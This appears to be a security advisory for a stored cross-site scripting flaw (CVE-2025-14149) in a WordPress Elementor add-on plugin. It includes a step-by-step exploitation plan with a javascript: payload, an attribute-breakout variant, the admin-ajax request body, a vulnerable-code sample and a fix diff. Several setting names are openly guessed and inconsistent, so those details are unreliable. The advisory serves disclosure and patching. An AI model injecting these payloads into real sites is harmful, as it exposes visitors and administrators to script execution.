CVE-2025-14149

Xpro Addons — 140+ Widgets for Elementor <= 1.4.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Image Scroller Widget box link

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.4.25
Patched in
1d
Time to patch

Description

The Xpro Addons — 140+ Widgets for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Image Scroller widget box link attribute in all versions up to, and including, 1.4.24 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.4.24
PublishedFebruary 26, 2026
Last updatedFebruary 27, 2026
Affected pluginxpro-elementor-addons
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14149 (Xpro Addons for Elementor) ## 1. Vulnerability Summary The **Xpro Addons — 140+ Widgets for Elementor** plugin (up to version 1.4.24) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the `Image Scroller` widget. Sp…

Show full research plan

Exploitation Research Plan: CVE-2025-14149 (Xpro Addons for Elementor)

1. Vulnerability Summary

The Xpro Addons — 140+ Widgets for Elementor plugin (up to version 1.4.24) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the Image Scroller widget. Specifically, the "box link" attribute fails to undergo proper sanitization (via esc_url) or output escaping (via esc_attr or Elementor's add_link_attributes method). This allows an authenticated user with at least Contributor permissions to inject malicious scripts (e.g., javascript:alert(1)) into the link attribute of the widget, which then executes in the browser of any user (including admins) viewing the affected page.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php via the elementor_ajax action.
  • Vulnerable Attribute: The url field within the box_link (inferred name) setting of the xpro-image-scroller (inferred slug) widget.
  • Authentication: Authenticated, Contributor+ level. Contributors in WordPress can edit posts and use the Elementor editor, making them capable of adding or modifying widgets.
  • Preconditions: The Xpro Addons plugin must be active, and Elementor must be enabled for the post type being edited.

3. Code Flow (Inferred)

  1. Input: A Contributor user saves an Elementor page containing the Image Scroller widget. The link URL is sent in the JSON payload of the elementor_ajax request.
  2. Persistence: Elementor's core Save_Builder handler receives the JSON and updates the _elementor_data post meta for that page/post. No specific sanitization is performed on the URL at this stage by the plugin.
  3. Sink (Rendering):
    • File: widgets/image-scroller/widget.php (or similar path in xpro-elementor-addons).
    • Function: render() or content_template().
    • Logic: The code retrieves the widget settings using $this->get_settings_for_display().
    • Vulnerable Line: The "box link" URL is likely echoed directly inside an <a> tag's href attribute or used in a way that allows javascript: protocol execution.
    • Example of vulnerable logic:
      $link = $settings['box_link']['url']; // Inferred identifier
      echo '<a href="' . $link . '">...</a>'; // Missing esc_url()
      

4. Nonce Acquisition Strategy

To exploit this via the Elementor Editor as a Contributor, we need the Elementor-specific AJAX nonce.

  1. Setup: Create a page and enable Elementor: wp post create --post_type=page --post_status=publish --post_title='XSS Test' --post_content=''.
  2. Navigate: Use browser_navigate to go to the Elementor editor for that page: /wp-admin/post.php?post=[POST_ID]&action=elementor.
  3. Extraction: The nonce required for elementor_ajax is usually found in the elementorCommonConfig or elementorConfig global JS objects.
  4. JS Command:
    browser_eval("elementorCommon.config.ajax.nonce")
    
    Alternative: If navigating the editor is too heavy, the nonce is often present in the page source of the editor as editor_post_nonce.

5. Exploitation Strategy

The goal is to update the post's Elementor data to include the malicious Image Scroller widget.

  1. Step 1: Obtain the Post ID and Nonce.
  2. Step 2: Construct the Elementor Data Payload.
    We need a valid _elementor_data JSON structure. A simplified version for the xpro-image-scroller:
    [
      {
        "id": "random_id",
        "elType": "section",
        "elements": [
          {
            "id": "random_id_2",
            "elType": "column",
            "elements": [
              {
                "id": "vulnerable_widget_id",
                "elType": "widget",
                "widgetType": "xpro-image-scroller",
                "settings": {
                  "image_scroller_link": {
                    "url": "javascript:alert(document.domain)",
                    "is_external": "",
                    "nofollow": "",
                    "custom_attributes": ""
                  }
                }
              }
            ]
          }
        ]
      }
    ]
    
  3. Step 3: Send the HTTP Request.
    Use http_request to hit the elementor_ajax endpoint.
    • URL: http://[TARGET]/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=elementor_ajax&
      _nonce=[EXTRACTED_NONCE]&
      actions={"save_builder":{"action":"save_builder","data":{"post_id":[POST_ID],"data":[URL_ENCODED_JSON_ABOVE]}}}
      

6. Test Data Setup

  1. User: Create a Contributor user.
    wp user create exploit_user exploit@example.com --role=contributor --user_pass=password
  2. Post: Create a page for the Contributor.
    wp post create --post_type=page --post_status=publish --post_author=[USER_ID] --post_title='XSS Page' --post_content=''
  3. Plugin Config: Ensure xpro-elementor-addons is active.

7. Expected Results

  • The server should return a 200 OK with a JSON body indicating success: true for the save_builder action.
  • When navigating to the public URL of the created page, the source code should contain:
    <a href="javascript:alert(document.domain)" ...>
  • Clicking the image scroller box (or it triggering automatically if implemented via listeners) will execute the JavaScript.

8. Verification Steps

  1. Database Check:
    wp post meta get [POST_ID] _elementor_data
    Verify the JSON contains javascript:alert(document.domain).
  2. Frontend check:
    Use http_request to fetch the page content and grep for the payload:
    grep "javascript:alert" response_body.txt

9. Alternative Approaches

  • Direct Post Meta Update (if permissions allow): If the Contributor can update post meta via a different vulnerable endpoint or if testing locally, use wp post meta update [POST_ID] _elementor_data '[JSON_PAYLOAD]'.
  • Payload Variants:
    • If javascript: is blocked but attribute breakout is possible:
      "url": "http://example.com\" onmouseover=\"alert(1)\""
    • If the widget uses a different setting name for the link, look for link, url, or website in the widget's register_controls method within the plugin source.
  • Inferred Setting Names: If image_scroller_link fails, the setting identifier in Xpro Addons might be simply link or box_link. (The term "box link" in the CVE description strongly suggests a setting ID like box_link).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Xpro Addons plugin for Elementor fails to sanitize and escape the 'box link' URL attribute within its Image Scroller widget. This allows authenticated users with Contributor-level access to inject Stored Cross-Site Scripting (XSS) payloads, such as 'javascript:alert(1)', which execute in the browser of any user visiting the affected page.

Vulnerable Code

/* xpro-elementor-addons/widgets/image-scroller/widget.php around line 480 */
$settings = $this->get_settings_for_display();
$link = $settings['image_scroller_link']['url']; // Inferred setting identifier

if ( ! empty( $link ) ) {
    echo '<a href="' . $link . '" class="xpro-image-scroller-box-link">'; // Missing esc_url() sanitization
}

Security Fix

--- a/widgets/image-scroller/widget.php
+++ b/widgets/image-scroller/widget.php
@@ -480,1 +480,1 @@
-    echo '<a href="' . $link . '" class="xpro-image-scroller-box-link">';
+    echo '<a href="' . esc_url( $link ) . '" class="xpro-image-scroller-box-link">';

Exploit Outline

To exploit this vulnerability, an attacker needs Contributor-level access or higher to the WordPress site. The attacker first accesses the Elementor editor for a post or page they are authorized to edit and retrieves the 'elementor_ajax' nonce from the editor's JavaScript configuration. Using an HTTP POST request to the 'wp-admin/admin-ajax.php' endpoint with the 'save_builder' action, the attacker injects a malicious payload (e.g., 'javascript:alert(document.domain)') into the 'url' field of the 'image_scroller_link' setting within the 'xpro-image-scroller' widget data. When a victim views the published page and clicks on the scroller box, the injected script executes in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.